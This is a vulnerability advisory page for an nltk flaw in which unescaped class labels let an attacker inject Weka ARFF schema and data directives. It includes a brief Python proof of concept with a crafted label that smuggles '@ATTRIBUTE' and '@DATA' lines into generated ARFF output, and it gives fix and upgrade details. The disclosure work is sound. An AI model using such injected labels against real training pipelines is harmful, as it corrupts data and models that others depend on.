CVE-2026-129221 — Vulnerability in nltk — CVE Details
NLTK: ARFF_Formatter Injects Weka ARFF Schema Directives via Attacker-Controlled Class Labels
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.43%). Schedule for your next planned update.
Does your project use an affected nltk version?
Paste your requirements.txt to check it for CVE-2026-129221 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Description
Summary
nltk.classify.weka.ARFF_Formatter writes class labels directly into the Weka ARFF @ATTRIBUTE '-label-' {...} declaration without any ARFF quoting or escaping. An attacker who can contribute class labels to a training dataset can include ARFF metacharacters such as }, newlines, @ATTRIBUTE, and @DATA to break out of the nominal label list and inject attacker‑controlled ARFF schema and data directives.
This vulnerability is reachable in any application that calls WekaClassifier.train() or ARFF_Formatter.from_train() with attacker‑influenced training data. The victim does not need to manually edit the ARFF file; the normal training workflow writes the malformed ARFF automatically.
Technical Details
The vulnerable code path is:
WekaClassifier.train()callsARFF_Formatter.from_train(featuresets).from_train()extracts labels from the training data and passes them toARFF_Formatter(labels, features).header_section()uses",".join(self._labels)directly, embedding attacker‑controlled strings into the ARFF header without sanitization.
Because the label names are not escaped, a label containing safe}\n@ATTRIBUTE injected NUMERIC\n@DATA\n0,owned\n% will close the label set, inject a new attribute, start a premature data section, and comment out the remaining header.
Proof of Concept
The following self‑contained Python script demonstrates the vulnerability. It requires only NLTK and does not need Weka to be installed, because the attack is carried out purely by generating the ARFF string.
from nltk.classify.weka import ARFF_Formatter
# Attacker‑controlled label containing ARFF metacharacters.
# The `}` closes the label set, the `@ATTRIBUTE` injects a new attribute,
# `@DATA` starts the data section early, and `%` comments out the rest.
malicious_label = "safe}\n@ATTRIBUTE injected NUMERIC\n@DATA\n0,owned\n%"
featuresets = [
({"f": "benign"}, "legit"), # legitimate example
({"f": "payload"}, malicious_label), # attacker's example
]
# NLTK builds the formatter from the training data
formatter = ARFF_Formatter.from_train(featuresets)
# Generate the ARFF string – this is what would be written to the training file
arff = formatter.format(featuresets)
# Verify that the injection succeeded
assert "@ATTRIBUTE injected NUMERIC" in arff, "Injected attribute not found"
assert "@DATA\n0,owned" in arff, "Injected data row not found"
print("=== Injected ARFF (excerpt) ===")
for line in arff.splitlines()[5:12]:
print(line)
Expected output:
=== Injected ARFF (excerpt) ===
@ATTRIBUTE 'f' STRING
@ATTRIBUTE '-label-' {legit,safe}
@ATTRIBUTE injected NUMERIC
@DATA
0,owned
%
Explanation of the injection:
· The label safe} closes the nominal label set {legit,safe} prematurely. · The following lines (@ATTRIBUTE injected NUMERIC, @DATA, 0,owned) are then parsed as legitimate ARFF directives, not as part of the label name. · The % at the end comments out the remaining header lines that NLTK would have appended, preventing syntax errors.
References
· CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component · Huntr report https://huntr.com/bounties/bc7085e7-1caf-40c7-b406-a5099ce44072 · Weka ARFF format documentation
Fix status (2026-09-28)
Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).
PR: #3768 "Fix ARFF label injection in Weka classifier" (ekaf), merged 2026-08-24, merge commit e0a857f52 on develop. Fix commit: 56031eabc. Defence in depth: 0e1d6bf87 (PR #3863, ARFF values formatted from their type rather than caller str/repr).
Probe: nltk/test/unit/security_probes/ghsa_9ffx_rrgx_mhgx.py (added on #3768); verdict on develop 2fa3f48fe: FIXED (ARFF labels, values, and attribute names sanitized).
Release: none yet; no release tag contains 56031eabc.
Advisory Timeline
- First published November 19, 2026 (6 days ago).
- Last revised November 20, 2026 — 0 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
pip install "nltk>=3.10.4"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: PyPI (1).
| Package | Fixed In |
|---|---|
| nltk PyPI · Affected: 0.8, 0.9, 0.9.3, 0.9.4 (+65 more) | 3.10.4 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-74
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 5.4 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
References
- https://github.com/nltk/nltk/security/advisories/GHSA-9ffx-rrgx-mhgxWEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-129221ADVISORY
- https://github.com/nltk/nltk/pull/3768WEB
- https://github.com/nltk/nltk/commit/56031eabc1ac6e5a109cb78bb18d10e0b7589594WEB
- https://github.com/nltk/nltkPACKAGE
- https://github.com/nltk/nltk/releases/tag/v3.10.4WEB
Frequently Asked Questions
- What is CVE-2026-129221?
- NLTK: ARFF_Formatter Injects Weka ARFF Schema Directives via Attacker-Controlled Class Labels. This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 5.4/10).
- How do I check if my project is affected by CVE-2026-129221?
- CVE-2026-129221 affects nltk. It has a 0.4% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-129221 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Exploitation requires specific conditions, or the impact is limited.
This is a below-median EPSS score — only 28.9% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-0848CRITICAL
- CVE-2026-0847HIGH
- CVE-2026-62388HIGH
- CVE-2026-63311HIGH
- CVE-2026-78682HIGH
NLTK: pathsec SSRF protection can be bypassed when a proxy is configured
- CVE-2026-79676HIGH
NLTK: Corpus readers follow symlinks outside trusted roots despite pathsec enforcement
- CVE-2026-65915MEDIUM
NLTK: FileSystemPathPointer.open() sandbox check is dead code — arbitrary file read via file:// protocol
- CVE-2026-128140MEDIUM
NLTK: Downloader cyclic collection indices cause an infinite closure walk